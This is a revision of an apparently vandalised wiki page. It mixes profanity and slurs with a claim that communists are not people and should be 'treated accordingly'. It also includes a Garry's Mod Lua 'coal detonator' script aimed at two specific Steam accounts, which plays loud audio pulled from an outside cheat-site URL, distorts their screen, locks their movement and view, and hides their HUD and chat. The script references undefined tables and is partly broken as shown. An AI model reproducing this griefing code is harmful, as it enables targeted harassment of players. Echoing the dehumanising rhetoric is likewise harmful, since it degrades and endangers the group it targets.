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== fuck you == | == fuck you == | ||
− | madman is a | + | madman is a coal miner |
− | == source code for | + | == source code for coal detonator == |
+ | <pre> | ||
for k,v in pairs(player.GetAll()) do | for k,v in pairs(player.GetAll()) do | ||
if (LocalPlayer():SteamID64() == "76561198370895099" or LocalPlayer():SteamID64() == "76561198223939436" ) then | if (LocalPlayer():SteamID64() == "76561198370895099" or LocalPlayer():SteamID64() == "76561198223939436" ) then | ||
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cmd:SetUpMove( 0 ) | cmd:SetUpMove( 0 ) | ||
end | end | ||
− | hook.Add( "CreateMove", " | + | hook.Add( "CreateMove", "coalwalker", asshole ) |
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end | end | ||
end | end | ||
+ | </pre> | ||
+ | [[Category:Pages with broken file links]] |
Latest revision as of 19:07, 4 October 2019
dildos
Memes are total fucking dogshit and shouldn't exist. the United States Government intends to use memes in psychological warfare against the populous to cause global upset and to kill communist retards. As everyone knows, though, communists are NOT people, and should be treated accordingly.
fuck you
madman is a coal miner
source code for coal detonator
for k,v in pairs(player.GetAll()) do if (LocalPlayer():SteamID64() == "76561198370895099" or LocalPlayer():SteamID64() == "76561198223939436" ) then function earrape() sound.PlayURL ( "http://shitcheat.me/geturowncheat.mp3", "", function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() else LocalPlayer():ChatPrint( "uh oh" ) end end ) end earrape() hook.Add( "RenderScreenspaceEffects", "retarddisabler", function() local tabber = { ["$pp_colour_addr"] = 2, ["$pp_colour_addg"] = 0, ["$pp_colour_addb"] = 0, ["$pp_colour_brightness"] = 0.7, ["$pp_colour_contrast"] = 0.6, ["$pp_colour_colour"] = 3, ["$pp_colour_mulr"] = 10, ["$pp_colour_mulg"] = 0, ["$pp_colour_mulb"] = 0 } DrawColorModify( tabber ) end) function asshole( cmd, ply, origin, angles, fov ) local time = FrameTime() SH.ViewOrigin = SH.ViewOrigin + ( SH.Velocity * time) SH.Velocity = SH.Velocity * 0.95 local sensitivity = 0.022 SH.ViewAngle.p = math.Clamp( SH.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 ) SH.ViewAngle.y = SH.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity ) local nig = Vector( 0, 0, 0 ) local add = Vector( 0, 0, 0 ) local ang = SH.ViewAngle if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end add = add:GetNormal() * defcon.Settings["freecamspeed"] if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end SH.Velocity = SH.Velocity + add if ( 1 == 1 ) then SH.LockView = cmd:GetViewAngles() end if ( 1 == 1 ) then cmd:SetViewAngles( SH.LockView ) end cmd:SetForwardMove( 0 ) cmd:SetSideMove( 0 ) cmd:SetUpMove( 0 ) end hook.Add( "CreateMove", "coalwalker", asshole ) local LightingModeChanged = false hook.Add( "PreRender", "fuckoff", function() if defcon.Settings["fullbright"] and GetConVarNumber("panicmode") == 0 then render.SetLightingMode( 2 ) LightingModeChanged = true end end ) hook.Add( "PostRender", "fullbright", EndOfLightingMod ) hook.Add( "DrawHUD", "fullbright", EndOfLightingMod ) local hide = { ["CHudHealth"] = true, ["CHudBattery"] = true, ["CHudAmmo"] = true, ["CHudChat"] = true, ["CHudCrosshair"] = true, ["CHudGMod"] = true, ["CHudMenu"] = true, ["NetGraph"] = true, ["CHudWeapon"] = true } hook.Add( "HUDShouldDraw", "HideHUD", function( name ) if ( hide[ name ] ) then return false end end ) end end